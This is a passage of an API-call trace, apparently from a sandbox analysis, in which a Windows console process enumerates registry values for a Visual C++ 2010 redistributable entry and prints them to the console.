lpUsedDefaultChar=0x0) returned 7 [0147.135] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.135] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.135] __iob_func () returned 0x7fefd702a80 [0147.135] _fileno (_File=0x7fefd702ab0) returned 1 [0147.135] _errno () returned 0xc4bb0 [0147.135] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.135] _errno () returned 0xc4bb0 [0147.135] GetFileType (hFile=0x50) returned 0x1 [0147.135] lstrlenW (lpString=" ") returned 4 [0147.135] GetConsoleOutputCP () returned 0x1b5 [0147.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.135] GetConsoleOutputCP () returned 0x1b5 [0147.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.135] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.135] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.136] __iob_func () returned 0x7fefd702a80 [0147.136] _fileno (_File=0x7fefd702ab0) returned 1 [0147.136] _errno () returned 0xc4bb0 [0147.136] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.136] _errno () returned 0xc4bb0 [0147.136] GetFileType (hFile=0x50) returned 0x1 [0147.136] lstrlenW (lpString="REG_DWORD") returned 9 [0147.136] GetConsoleOutputCP () returned 0x1b5 [0147.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.136] GetConsoleOutputCP () returned 0x1b5 [0147.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.136] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.136] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.136] __iob_func () returned 0x7fefd702a80 [0147.136] _fileno (_File=0x7fefd702ab0) returned 1 [0147.136] _errno () returned 0xc4bb0 [0147.136] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.136] _errno () returned 0xc4bb0 [0147.136] GetFileType (hFile=0x50) returned 0x1 [0147.136] lstrlenW (lpString=" ") returned 4 [0147.136] GetConsoleOutputCP () returned 0x1b5 [0147.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.136] GetConsoleOutputCP () returned 0x1b5 [0147.137] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.137] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.137] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.137] __iob_func () returned 0x7fefd702a80 [0147.137] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.137] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xa009d1b") returned 9 [0147.137] _fileno (_File=0x7fefd702ab0) returned 1 [0147.137] _errno () returned 0xc4bb0 [0147.137] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.137] _errno () returned 0xc4bb0 [0147.137] GetFileType (hFile=0x50) returned 0x1 [0147.137] lstrlenW (lpString="0xa009d1b") returned 9 [0147.137] GetConsoleOutputCP () returned 0x1b5 [0147.137] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa009d1b", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.137] GetConsoleOutputCP () returned 0x1b5 [0147.137] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa009d1b", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xa009d1b", lpUsedDefaultChar=0x0) returned 9 [0147.137] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.137] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.137] __iob_func () returned 0x7fefd702a80 [0147.137] _fileno (_File=0x7fefd702ab0) returned 1 [0147.137] _errno () returned 0xc4bb0 [0147.137] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.137] _errno () returned 0xc4bb0 [0147.138] GetFileType (hFile=0x50) returned 0x1 [0147.138] lstrlenW (lpString="\n") returned 1 [0147.138] GetConsoleOutputCP () returned 0x1b5 [0147.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.138] GetConsoleOutputCP () returned 0x1b5 [0147.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.138] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.138] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.138] GetProcessHeap () returned 0x2e0000 [0147.138] GetProcessHeap () returned 0x2e0000 [0147.138] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.138] GetProcessHeap () returned 0x2e0000 [0147.138] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.138] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.138] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.138] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.138] GetProcessHeap () returned 0x2e0000 [0147.138] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.138] GetProcessHeap () returned 0x2e0000 [0147.138] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.138] GetProcessHeap () returned 0x2e0000 [0147.138] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.138] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.138] __iob_func () returned 0x7fefd702a80 [0147.138] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.139] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.139] _fileno (_File=0x7fefd702ab0) returned 1 [0147.139] _errno () returned 0xc4bb0 [0147.139] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.139] _errno () returned 0xc4bb0 [0147.139] GetFileType (hFile=0x50) returned 0x1 [0147.139] lstrlenW (lpString=" ") returned 4 [0147.139] GetConsoleOutputCP () returned 0x1b5 [0147.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.139] GetConsoleOutputCP () returned 0x1b5 [0147.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.139] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.139] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.139] lstrlenW (lpString="Language") returned 8 [0147.139] __iob_func () returned 0x7fefd702a80 [0147.139] _fileno (_File=0x7fefd702ab0) returned 1 [0147.139] _errno () returned 0xc4bb0 [0147.139] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.139] _errno () returned 0xc4bb0 [0147.139] GetFileType (hFile=0x50) returned 0x1 [0147.139] lstrlenW (lpString="Language") returned 8 [0147.139] GetConsoleOutputCP () returned 0x1b5 [0147.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.140] GetConsoleOutputCP () returned 0x1b5 [0147.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0147.140] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.140] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.140] __iob_func () returned 0x7fefd702a80 [0147.140] _fileno (_File=0x7fefd702ab0) returned 1 [0147.140] _errno () returned 0xc4bb0 [0147.140] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.140] _errno () returned 0xc4bb0 [0147.140] GetFileType (hFile=0x50) returned 0x1 [0147.140] lstrlenW (lpString=" ") returned 4 [0147.140] GetConsoleOutputCP () returned 0x1b5 [0147.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.140] GetConsoleOutputCP () returned 0x1b5 [0147.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.140] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.140] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.140] __iob_func () returned 0x7fefd702a80 [0147.140] _fileno (_File=0x7fefd702ab0) returned 1 [0147.140] _errno () returned 0xc4bb0 [0147.140] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.140] _errno () returned 0xc4bb0 [0147.140] GetFileType (hFile=0x50) returned 0x1 [0147.141] lstrlenW (lpString="REG_DWORD") returned 9 [0147.141] GetConsoleOutputCP () returned 0x1b5 [0147.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.141] GetConsoleOutputCP () returned 0x1b5 [0147.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.141] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.141] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.141] __iob_func () returned 0x7fefd702a80 [0147.141] _fileno (_File=0x7fefd702ab0) returned 1 [0147.141] _errno () returned 0xc4bb0 [0147.141] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.141] _errno () returned 0xc4bb0 [0147.141] GetFileType (hFile=0x50) returned 0x1 [0147.141] lstrlenW (lpString=" ") returned 4 [0147.141] GetConsoleOutputCP () returned 0x1b5 [0147.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.141] GetConsoleOutputCP () returned 0x1b5 [0147.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.141] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.141] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.142] __iob_func () returned 0x7fefd702a80 [0147.142] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.142] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0147.142] _fileno (_File=0x7fefd702ab0) returned 1 [0147.142] _errno () returned 0xc4bb0 [0147.142] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.142] _errno () returned 0xc4bb0 [0147.142] GetFileType (hFile=0x50) returned 0x1 [0147.142] lstrlenW (lpString="0x0") returned 3 [0147.142] GetConsoleOutputCP () returned 0x1b5 [0147.142] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.142] GetConsoleOutputCP () returned 0x1b5 [0147.142] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0147.142] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.142] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.142] __iob_func () returned 0x7fefd702a80 [0147.142] _fileno (_File=0x7fefd702ab0) returned 1 [0147.142] _errno () returned 0xc4bb0 [0147.142] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.142] _errno () returned 0xc4bb0 [0147.142] GetFileType (hFile=0x50) returned 0x1 [0147.142] lstrlenW (lpString="\n") returned 1 [0147.142] GetConsoleOutputCP () returned 0x1b5 [0147.143] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.143] GetConsoleOutputCP () returned 0x1b5 [0147.143] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.143] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.143] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.143] GetProcessHeap () returned 0x2e0000 [0147.143] GetProcessHeap () returned 0x2e0000 [0147.143] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.143] GetProcessHeap () returned 0x2e0000 [0147.143] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.143] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.143] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.143] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x7a) returned 0x0 [0147.143] GetProcessHeap () returned 0x2e0000 [0147.143] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x7c) returned 0x2ff970 [0147.143] GetProcessHeap () returned 0x2e0000 [0147.143] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff970) returned 1 [0147.143] GetProcessHeap () returned 0x2e0000 [0147.143] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff970) returned 0x7c [0147.143] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2ff970, pcbData=0x23f670*=0x7a | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219", pcbData=0x23f670*=0x78) returned 0x0 [0147.143] __iob_func () returned 0x7fefd702a80 [0147.143] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.143] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.143] _fileno (_File=0x7fefd702ab0) returned 1 [0147.143] _errno () returned 0xc4bb0 [0147.143] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.143] _errno () returned 0xc4bb0 [0147.143] GetFileType (hFile=0x50) returned 0x1 [0147.144] lstrlenW (lpString=" ") returned 4 [0147.144] GetConsoleOutputCP () returned 0x1b5 [0147.144] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.144] GetConsoleOutputCP () returned 0x1b5 [0147.144] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.144] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.144] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.144] lstrlenW (lpString="DisplayName") returned 11 [0147.144] __iob_func () returned 0x7fefd702a80 [0147.144] _fileno (_File=0x7fefd702ab0) returned 1 [0147.144] _errno () returned 0xc4bb0 [0147.144] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.144] _errno () returned 0xc4bb0 [0147.144] GetFileType (hFile=0x50) returned 0x1 [0147.144] lstrlenW (lpString="DisplayName") returned 11 [0147.144] GetConsoleOutputCP () returned 0x1b5 [0147.144] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.144] GetConsoleOutputCP () returned 0x1b5 [0147.144] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0147.144] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.144] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.145] __iob_func () returned 0x7fefd702a80 [0147.145] _fileno (_File=0x7fefd702ab0) returned 1 [0147.145] _errno () returned 0xc4bb0 [0147.145] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.145] _errno () returned 0xc4bb0 [0147.145] GetFileType (hFile=0x50) returned 0x1 [0147.145] lstrlenW (lpString=" ") returned 4 [0147.145] GetConsoleOutputCP () returned 0x1b5 [0147.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.145] GetConsoleOutputCP () returned 0x1b5 [0147.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.145] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.145] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.145] __iob_func () returned 0x7fefd702a80 [0147.145] _fileno (_File=0x7fefd702ab0) returned 1 [0147.145] _errno () returned 0xc4bb0 [0147.145] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.145] _errno () returned 0xc4bb0 [0147.145] GetFileType (hFile=0x50) returned 0x1 [0147.145] lstrlenW (lpString="REG_SZ") returned 6 [0147.145] GetConsoleOutputCP () returned 0x1b5 [0147.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.146] GetConsoleOutputCP () returned 0x1b5 [0147.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.146] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.146] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.146] __iob_func () returned 0x7fefd702a80 [0147.146] _fileno (_File=0x7fefd702ab0) returned 1 [0147.146] _errno () returned 0xc4bb0 [0147.146] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.146] _errno () returned 0xc4bb0 [0147.146] GetFileType (hFile=0x50) returned 0x1 [0147.146] lstrlenW (lpString=" ") returned 4 [0147.146] GetConsoleOutputCP () returned 0x1b5 [0147.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.146] GetConsoleOutputCP () returned 0x1b5 [0147.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.146] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.146] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.146] __iob_func () returned 0x7fefd702a80 [0147.146] _fileno (_File=0x7fefd702ab0) returned 1 [0147.146] _errno () returned 0xc4bb0 [0147.146] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.146] _errno () returned 0xc4bb0 [0147.147] GetFileType (hFile=0x50) returned 0x1 [0147.147] lstrlenW (lpString="Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219") returned 59 [0147.147] GetConsoleOutputCP () returned 0x1b5 [0147.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0147.147] GetConsoleOutputCP () returned 0x1b5 [0147.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219", cchWideChar=59, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219", lpUsedDefaultChar=0x0) returned 59 [0147.147] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 59 [0147.147] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.147] __iob_func () returned 0x7fefd702a80 [0147.147] _fileno (_File=0x7fefd702ab0) returned 1 [0147.147] _errno () returned 0xc4bb0 [0147.147] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.147] _errno () returned 0xc4bb0 [0147.147] GetFileType (hFile=0x50) returned 0x1 [0147.147] lstrlenW (lpString="\n") returned 1 [0147.147] GetConsoleOutputCP () returned 0x1b5 [0147.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.147] GetConsoleOutputCP () returned 0x1b5 [0147.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 